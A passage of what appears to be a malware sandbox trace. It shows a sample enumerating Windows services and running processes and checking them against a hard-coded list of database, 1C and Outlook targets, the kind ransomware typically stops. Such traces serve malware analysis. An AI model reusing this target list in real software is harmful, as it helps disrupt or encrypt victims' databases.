lpString2="NlaSvc") returned 1 [0047.101] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0047.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0047.101] lstrlenW (lpString="nsi") returned 3 [0047.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0047.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0047.101] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0047.101] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0047.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0047.101] lstrlenW (lpString="PcaSvc") returned 6 [0047.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0047.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0047.102] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0047.102] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0047.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0047.102] lstrlenW (lpString="PlugPlay") returned 8 [0047.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0047.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0047.102] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0047.102] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0047.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0047.102] lstrlenW (lpString="Power") returned 5 [0047.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0047.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0047.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0047.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0047.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0047.102] lstrlenW (lpString="ProfSvc") returned 7 [0047.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0047.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0047.102] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0047.102] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0047.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0047.103] lstrlenW (lpString="RpcEptMapper") returned 12 [0047.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.103] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0047.103] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0047.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0047.103] lstrlenW (lpString="RpcSs") returned 5 [0047.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0047.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0047.103] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0047.103] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0047.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0047.103] lstrlenW (lpString="SamSs") returned 5 [0047.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0047.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0047.103] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0047.103] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0047.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0047.103] lstrlenW (lpString="Schedule") returned 8 [0047.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0047.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0047.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0047.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0047.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0047.104] lstrlenW (lpString="SENS") returned 4 [0047.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0047.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0047.104] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0047.104] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0047.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0047.104] lstrlenW (lpString="ShellHWDetection") returned 16 [0047.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.104] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0047.104] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0047.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0047.104] lstrlenW (lpString="Spooler") returned 7 [0047.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0047.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0047.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0047.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0047.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0047.105] lstrlenW (lpString="sppsvc") returned 6 [0047.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0047.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0047.105] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0047.105] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0047.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0047.105] lstrlenW (lpString="SysMain") returned 7 [0047.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0047.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0047.105] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0047.105] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0047.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0047.105] lstrlenW (lpString="Themes") returned 6 [0047.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0047.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0047.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0047.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0047.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0047.106] lstrlenW (lpString="TrkWks") returned 6 [0047.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0047.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0047.106] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0047.106] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0047.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0047.106] lstrlenW (lpString="UxSms") returned 5 [0047.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0047.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0047.106] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0047.106] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0047.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0047.106] lstrlenW (lpString="WdiServiceHost") returned 14 [0047.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.106] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0047.106] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0047.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0047.106] lstrlenW (lpString="WdiSystemHost") returned 13 [0047.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.107] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0047.107] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0047.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0047.107] lstrlenW (lpString="WinDefend") returned 9 [0047.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0047.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0047.107] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0047.107] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0047.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0047.107] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0047.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.107] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0047.107] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0047.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0047.107] lstrlenW (lpString="Winmgmt") returned 7 [0047.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0047.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0047.107] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0047.108] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0047.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0047.108] lstrlenW (lpString="wscsvc") returned 6 [0047.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0047.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0047.108] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0047.108] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0047.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0047.108] lstrlenW (lpString="wuauserv") returned 8 [0047.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0047.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0047.108] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0047.108] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0047.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0047.108] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6387a0 | out: hHeap=0x5c0000) returned 1 [0047.108] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc [0047.144] Process32FirstW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.145] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.146] lstrlenW (lpString="System") returned 6 [0047.146] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0047.146] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0047.146] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0047.146] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0047.146] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0047.146] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0047.146] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0047.146] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.147] lstrlenW (lpString="smss.exe") returned 8 [0047.147] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0047.147] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0047.147] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0047.147] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0047.147] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0047.148] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0047.148] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0047.148] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.149] lstrlenW (lpString="csrss.exe") returned 9 [0047.149] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.150] lstrlenW (lpString="wininit.exe") returned 11 [0047.150] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.151] lstrlenW (lpString="csrss.exe") returned 9 [0047.151] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.152] lstrlenW (lpString="winlogon.exe") returned 12 [0047.152] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.153] lstrlenW (lpString="services.exe") returned 12 [0047.153] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.154] lstrlenW (lpString="lsass.exe") returned 9 [0047.154] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0047.155] lstrlenW (lpString="lsm.exe") returned 7 [0047.155] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.156] lstrlenW (lpString="svchost.exe") returned 11 [0047.156] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.157] lstrlenW (lpString="svchost.exe") returned 11 [0047.157] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.159] lstrlenW (lpString="svchost.exe") returned 11 [0047.159] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.160] lstrlenW (lpString="svchost.exe") returned 11 [0047.160] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.161] lstrlenW (lpString="svchost.exe") returned 11 [0047.161] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.162] lstrlenW (lpString="audiodg.exe") returned 11 [0047.163] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.164] lstrlenW (lpString="svchost.exe") returned 11 [0047.164] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.165] lstrlenW (lpString="svchost.exe") returned 11 [0047.165] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.166] lstrlenW (lpString="dwm.exe") returned 7 [0047.166] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.167] lstrlenW (lpString="explorer.exe") returned 12 [0047.167] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.168] lstrlenW (lpString="spoolsv.exe") returned 11 [0047.168] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.169] lstrlenW (lpString="taskhost.exe") returned 12 [0047.169] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.170] lstrlenW (lpString="svchost.exe") returned 11 [0047.170] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.171] lstrlenW (lpString="taskeng.exe") returned 11 [0047.171] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.172] lstrlenW (lpString="taskhost.exe") returned 12 [0047.172] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.173] lstrlenW (lpString="svchost.exe") returned 11 [0047.173] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0047.174] lstrlenW (lpString="sppsvc.exe") returned 10 [0047.174] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.175] lstrlenW (lpString="svchost.exe") returned 11 [0047.175] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0047.176] lstrlenW (lpString="barrelsince.exe") returned 15 [0047.176] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0047.177] lstrlenW (lpString="cricket.exe") returned 11 [0047.177] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0047.178] lstrlenW (lpString="angelsalot.exe") returned 14 [0047.178] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0047.179] lstrlenW (lpString="bridge.exe") returned 10 [0047.179] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0047.180] lstrlenW (lpString="sh_shipping.exe") returned 15 [0047.180] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0047.181] lstrlenW (lpString="tobacco packet.exe") returned 18 [0047.181] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0047.183] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0047.183] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0047.184] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0047.184] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0047.185] lstrlenW (lpString="widespread.exe") returned 14 [0047.185] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, 